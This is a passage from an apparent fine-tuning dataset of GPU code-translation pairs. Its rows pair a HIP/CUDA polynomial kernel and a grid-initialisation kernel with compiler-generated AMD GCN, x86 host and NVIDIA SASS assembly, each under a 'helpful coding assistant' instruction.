v_add_co_u32 v12, vcc_lo, s16, v12
v_add_co_ci_u32_e32 v13, vcc_lo, s17, v13, vcc_lo
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_4)
v_add_co_u32 v14, vcc_lo, s16, v14
v_add_co_ci_u32_e32 v15, vcc_lo, s17, v15, vcc_lo
v_add_co_u32 v8, vcc_lo, v8, 4
s_clause 0x1
global_load_b32 v12, v[12:13], off
global_load_b32 v13, v[14:15], off
v_add_nc_u32_e32 v11, -1, v11
v_add_co_ci_u32_e32 v9, vcc_lo, 0, v9, vcc_lo
s_waitcnt vmcnt(0)
v_fmac_f32_e32 v4, v12, v13
s_delay_alu instid0(VALU_DEP_3) | instskip(NEXT) | instid1(VALU_DEP_1)
v_cmp_eq_u32_e64 s1, 0, v11
s_or_b32 s24, s1, s24
s_delay_alu instid0(SALU_CYCLE_1)
s_and_not1_b32 exec_lo, exec_lo, s24
s_cbranch_execnz .LBB0_10
s_or_b32 exec_lo, exec_lo, s24
.LBB0_12:
s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
s_or_b32 exec_lo, exec_lo, s23
s_and_not1_b32 vcc_lo, exec_lo, s14
s_cbranch_vccnz .LBB0_6
v_add_f32_e32 v8, 1.0, v4
v_mov_b32_e32 v4, 1.0
s_mov_b32 s1, s11
.LBB0_14:
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(SALU_CYCLE_1)
v_mul_f32_e32 v4, v8, v4
s_add_i32 s1, s1, -1
s_cmp_lg_u32 s1, 0
s_cbranch_scc1 .LBB0_14
s_branch .LBB0_7
.LBB0_15:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 320
.amdhsa_user_sgpr_count 14
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 1
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 1
.amdhsa_next_free_vgpr 16
.amdhsa_next_free_sgpr 25
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, .Lfunc_end0-_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .offset: 16
.size: 4
.value_kind: by_value
- .offset: 20
.size: 4
.value_kind: by_value
- .offset: 24
.size: 4
.value_kind: by_value
- .address_space: global
.offset: 32
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 40
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 48
.size: 8
.value_kind: global_buffer
- .offset: 56
.size: 4
.value_kind: by_value
- .offset: 60
.size: 4
.value_kind: by_value
- .offset: 64
.size: 4
.value_kind: hidden_block_count_x
- .offset: 68
.size: 4
.value_kind: hidden_block_count_y
- .offset: 72
.size: 4
.value_kind: hidden_block_count_z
- .offset: 76
.size: 2
.value_kind: hidden_group_size_x
- .offset: 78
.size: 2
.value_kind: hidden_group_size_y
- .offset: 80
.size: 2
.value_kind: hidden_group_size_z
- .offset: 82
.size: 2
.value_kind: hidden_remainder_x
- .offset: 84
.size: 2
.value_kind: hidden_remainder_y
- .offset: 86
.size: 2
.value_kind: hidden_remainder_z
- .offset: 104
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 112
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 120
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 128
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 320
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.private_segment_fixed_size: 0
.sgpr_count: 27
.sgpr_spill_count: 0
.symbol: _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 16
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
/**
* Programma che simula il comportamento del gpdt per
* la risoluzione di un kernel di una serie di
* valori di dimensione variabile utilizzando la
* tecnologia cuda.
* compilare con:
* nvcc -o simil_gpdt_si_cuda simil_gpdt_si_cuda.cu
* lanciare con:
* ./simil_gpdt_si_cuda [numero vettori] [numero componenti] [numero di righe da calcolare] [tipo di kernel] [grado(int)/sigma(float)]
**/
using namespace std;
/**
* Funzione che riempie i vettori con numeri
* casuali compresi tra 0 e 99.
**/
__global__ void Kernel_polimoniale(float *Vd, float *Ris, int N, int C, int dim_indici, int *ind, int *Vp, int *Vnp, int nr_max_val, int s)
{
int x = blockIdx.x * blockDim.x + threadIdx.x;
int y = blockIdx.y * blockDim.y + threadIdx.y;
int j;
int pos;
int tmp_ind;
float pol;
float tmp;
for ( ; x < N ; x+=blockDim.x * gridDim.x)
{
for( ; y < dim_indici; y+=blockDim.y * gridDim.y)
{
tmp_ind = ind[y];
tmp = 1.0;
pol = 0.0;
int Nr_val = Vnp[x];
for(j = 0; j < Nr_val; j++)
{
pos = Vp[x * nr_max_val + j];
pol = pol + (Vd[x * C + pos] * Vd[tmp_ind * C + pos]);
}
pol = pol + 1;
for(j = 0; j < s; j++)
{
tmp = tmp * pol;
}
//Ris[x * dim_indici + y] = tmp;
Ris[y * N + x ] = tmp;
}
}
} | .text
.file "Kernel_polimoniale.hip"
.globl _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii # -- Begin function _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.p2align 4, 0x90
.type _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii,@function
_Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii: # @_Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.cfi_startproc
# %bb.0:
subq $184, %rsp
.cfi_def_cfa_offset 192
movq %rdi, 88(%rsp)
movq %rsi, 80(%rsp)
movl %edx, 20(%rsp)
movl %ecx, 16(%rsp)
movl %r8d, 12(%rsp)
movq %r9, 72(%rsp)
leaq 88(%rsp), %rax
movq %rax, 96(%rsp)
leaq 80(%rsp), %rax
movq %rax, 104(%rsp)
leaq 20(%rsp), %rax
movq %rax, 112(%rsp)
leaq 16(%rsp), %rax
movq %rax, 120(%rsp)
leaq 12(%rsp), %rax
movq %rax, 128(%rsp)
leaq 72(%rsp), %rax
movq %rax, 136(%rsp)
leaq 192(%rsp), %rax
movq %rax, 144(%rsp)
leaq 200(%rsp), %rax
movq %rax, 152(%rsp)
leaq 208(%rsp), %rax
movq %rax, 160(%rsp)
leaq 216(%rsp), %rax
movq %rax, 168(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $200, %rsp
.cfi_adjust_cfa_offset -200
retq
.Lfunc_end0:
.size _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii, .Lfunc_end0-_Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii,@object # @_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.section .rodata,"a",@progbits
.globl _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.p2align 3, 0x0
_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii:
.quad _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.size _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii"
.size .L__unnamed_1, 40
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_001b46ed_00000000-6_Kernel_polimoniale.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii
.type _Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii, @function
_Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii:
.LFB2051:
.cfi_startproc
endbr64
subq $232, %rsp
.cfi_def_cfa_offset 240
movq %rdi, 56(%rsp)
movq %rsi, 48(%rsp)
movl %edx, 44(%rsp)
movl %ecx, 40(%rsp)
movl %r8d, 36(%rsp)
movq %r9, 24(%rsp)
movq 240(%rsp), %rax
movq %rax, 16(%rsp)
movq 248(%rsp), %rax
movq %rax, 8(%rsp)
movq %fs:40, %rax
movq %rax, 216(%rsp)
xorl %eax, %eax
leaq 56(%rsp), %rax
movq %rax, 128(%rsp)
leaq 48(%rsp), %rax
movq %rax, 136(%rsp)
leaq 44(%rsp), %rax
movq %rax, 144(%rsp)
leaq 40(%rsp), %rax
movq %rax, 152(%rsp)
leaq 36(%rsp), %rax
movq %rax, 160(%rsp)
leaq 24(%rsp), %rax
movq %rax, 168(%rsp)
leaq 16(%rsp), %rax
movq %rax, 176(%rsp)
leaq 8(%rsp), %rax
movq %rax, 184(%rsp)
leaq 256(%rsp), %rax
movq %rax, 192(%rsp)
leaq 264(%rsp), %rax
movq %rax, 200(%rsp)
movl $1, 80(%rsp)
movl $1, 84(%rsp)
movl $1, 88(%rsp)
movl $1, 92(%rsp)
movl $1, 96(%rsp)
movl $1, 100(%rsp)
leaq 72(%rsp), %rcx
leaq 64(%rsp), %rdx
leaq 92(%rsp), %rsi
leaq 80(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 216(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $232, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 72(%rsp)
.cfi_def_cfa_offset 248
pushq 72(%rsp)
.cfi_def_cfa_offset 256
leaq 144(%rsp), %r9
movq 108(%rsp), %rcx
movl 116(%rsp), %r8d
movq 96(%rsp), %rsi
movl 104(%rsp), %edx
leaq _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 240
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii, .-_Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii
.globl _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.type _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, @function
_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movl 40(%rsp), %eax
pushq %rax
.cfi_def_cfa_offset 24
movl 40(%rsp), %eax
pushq %rax
.cfi_def_cfa_offset 32
pushq 40(%rsp)
.cfi_def_cfa_offset 40
pushq 40(%rsp)
.cfi_def_cfa_offset 48
call _Z53__device_stub__Z18Kernel_polimonialePfS_iiiPiS0_S0_iiPfS_iiiPiS0_S0_ii
addq $40, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, .-_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC0:
.string "_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "Kernel_polimoniale.hip"
.globl _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii # -- Begin function _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.p2align 4, 0x90
.type _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii,@function
_Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii: # @_Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.cfi_startproc
# %bb.0:
subq $184, %rsp
.cfi_def_cfa_offset 192
movq %rdi, 88(%rsp)
movq %rsi, 80(%rsp)
movl %edx, 20(%rsp)
movl %ecx, 16(%rsp)
movl %r8d, 12(%rsp)
movq %r9, 72(%rsp)
leaq 88(%rsp), %rax
movq %rax, 96(%rsp)
leaq 80(%rsp), %rax
movq %rax, 104(%rsp)
leaq 20(%rsp), %rax
movq %rax, 112(%rsp)
leaq 16(%rsp), %rax
movq %rax, 120(%rsp)
leaq 12(%rsp), %rax
movq %rax, 128(%rsp)
leaq 72(%rsp), %rax
movq %rax, 136(%rsp)
leaq 192(%rsp), %rax
movq %rax, 144(%rsp)
leaq 200(%rsp), %rax
movq %rax, 152(%rsp)
leaq 208(%rsp), %rax
movq %rax, 160(%rsp)
leaq 216(%rsp), %rax
movq %rax, 168(%rsp)
leaq 56(%rsp), %rdi
leaq 40(%rsp), %rsi
leaq 32(%rsp), %rdx
leaq 24(%rsp), %rcx
callq __hipPopCallConfiguration
movq 56(%rsp), %rsi
movl 64(%rsp), %edx
movq 40(%rsp), %rcx
movl 48(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, %edi
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
pushq 40(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $200, %rsp
.cfi_adjust_cfa_offset -200
retq
.Lfunc_end0:
.size _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii, .Lfunc_end0-_Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii,@object # @_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.section .rodata,"a",@progbits
.globl _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.p2align 3, 0x0
_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii:
.quad _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.size _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z18Kernel_polimonialePfS_iiiPiS0_S0_ii"
.size .L__unnamed_1, 40
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z33__device_stub__Kernel_polimonialePfS_iiiPiS0_S0_ii
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z18Kernel_polimonialePfS_iiiPiS0_S0_ii
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include "includes.h"
__global__ void initGridKernel ( float *d_grid, int axis, int w, int h, int d ) {
const int baseX = blockIdx.x * IG_BLOCKDIM_X + threadIdx.x;
const int baseY = blockIdx.y * IG_BLOCKDIM_Y + threadIdx.y;
const int baseZ = blockIdx.z * IG_BLOCKDIM_Z + threadIdx.z;
const int idx = (baseZ * h + baseY) * w + baseX;
if(axis == 0) {
d_grid[idx] = (float)baseX;
} else if(axis == 1) {
d_grid[idx] = (float)baseY;
} else {
d_grid[idx] = (float)baseZ;
}
} | code for sm_80
Function : _Z14initGridKernelPfiiii
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R4, SR_CTAID.Y ; /* 0x0000000000047919 */
/* 0x000e220000002600 */
/*0020*/ ISETP.NE.AND P0, PT, RZ, c[0x0][0x168], PT ; /* 0x00005a00ff007a0c */
/* 0x000fe20003f05270 */
/*0030*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fe40000000a00 */
/*0040*/ S2R R5, SR_TID.Y ; /* 0x0000000000057919 */
/* 0x000e280000002200 */
/*0050*/ S2R R2, SR_CTAID.Z ; /* 0x0000000000027919 */
/* 0x000e680000002700 */
/*0060*/ S2R R7, SR_TID.Z ; /* 0x0000000000077919 */
/* 0x000e680000002300 */
/*0070*/ S2R R0, SR_CTAID.X ; /* 0x0000000000007919 */
/* 0x000ea80000002500 */
/*0080*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000ea20000002100 */
/*0090*/ LEA R4, R4, R5, 0x3 ; /* 0x0000000504047211 */
/* 0x001fc400078e18ff */
/*00a0*/ LEA R5, R2, R7, 0x3 ; /* 0x0000000702057211 */
/* 0x002fe200078e18ff */
/*00b0*/ HFMA2.MMA R2, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff027435 */
/* 0x000fe200000001ff */
/*00c0*/ IMAD R0, R0, 0x8, R3 ; /* 0x0000000800007824 */
/* 0x004fc600078e0203 */
/*00d0*/ IMAD R3, R5, c[0x0][0x170], R4 ; /* 0x00005c0005037a24 */
/* 0x000fc800078e0204 */
/*00e0*/ IMAD R3, R3, c[0x0][0x16c], R0 ; /* 0x00005b0003037a24 */
/* 0x000fc800078e0200 */
/*00f0*/ IMAD.WIDE R2, R3, R2, c[0x0][0x160] ; /* 0x0000580003027625 */
/* 0x000fe200078e0202 */
/*0100*/ @!P0 BRA 0x190 ; /* 0x0000008000008947 */
/* 0x000fea0003800000 */
/*0110*/ IMAD.MOV.U32 R0, RZ, RZ, c[0x0][0x168] ; /* 0x00005a00ff007624 */
/* 0x000fca00078e00ff */
/*0120*/ ISETP.NE.AND P0, PT, R0, 0x1, PT ; /* 0x000000010000780c */
/* 0x000fda0003f05270 */
/*0130*/ @!P0 I2F R7, R4 ; /* 0x0000000400078306 */
/* 0x000e240000201400 */
/*0140*/ @!P0 STG.E [R2.64], R7 ; /* 0x0000000702008986 */
/* 0x0011e2000c101904 */
/*0150*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*0160*/ I2F R5, R5 ; /* 0x0000000500057306 */
/* 0x000e640000201400 */
/*0170*/ STG.E [R2.64], R5 ; /* 0x0000000502007986 */
/* 0x002fe2000c101904 */
/*0180*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0190*/ I2F R5, R0 ; /* 0x0000000000057306 */
/* 0x000e240000201400 */
/*01a0*/ STG.E [R2.64], R5 ; /* 0x0000000502007986 */
/* 0x001fe2000c101904 */
/*01b0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*01c0*/ BRA 0x1c0; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*01d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0200*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0210*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0220*/ NOP; /* 0x0000000000007918 */
